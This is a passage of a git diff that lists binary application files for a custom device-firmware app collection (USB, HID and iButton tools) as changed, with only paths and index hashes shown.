XFW)/RogueMaster/USB/bad_kb.fap index 5a21e9d6..00e3f093 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_kb.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_kb.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_usb.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_usb.fap index e7139e5a..799ea6a9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_usb.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_usb.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/barcode_scannere.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/barcode_scannere.fap index 6205420a..c8f24ea7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/barcode_scannere.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/barcode_scannere.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hid_usb.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hid_usb.fap index 351278b5..4d39c7c1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hid_usb.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hid_usb.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hidtransfer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hidtransfer.fap index 0a9fbddd..933f6f11 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hidtransfer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hidtransfer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mass_storage.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mass_storage.fap index b7b2123d..58024981 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mass_storage.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mass_storage.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mousejiggler.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mousejiggler.fap index f17d1670..b3aaceca 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mousejiggler.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mousejiggler.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/u2f.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/u2f.fap index d0483e44..7d5ac7b1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/u2f.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/u2f.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_ccb.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_ccb.fap index 472e3856..14ae7415 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_ccb.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_ccb.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_hid_autofire.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_hid_autofire.fap index 020673ec..7cfe03f3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_hid_autofire.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_hid_autofire.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_midi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_midi.fap index 2bda16f9..024ee424 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_midi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_midi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton.fap index 93045dd1..b00532a1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton_fuzzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton_fuzzer.fap index daa8181b..66ebb0cf 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton_fuzzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton_fuzzer.fap differ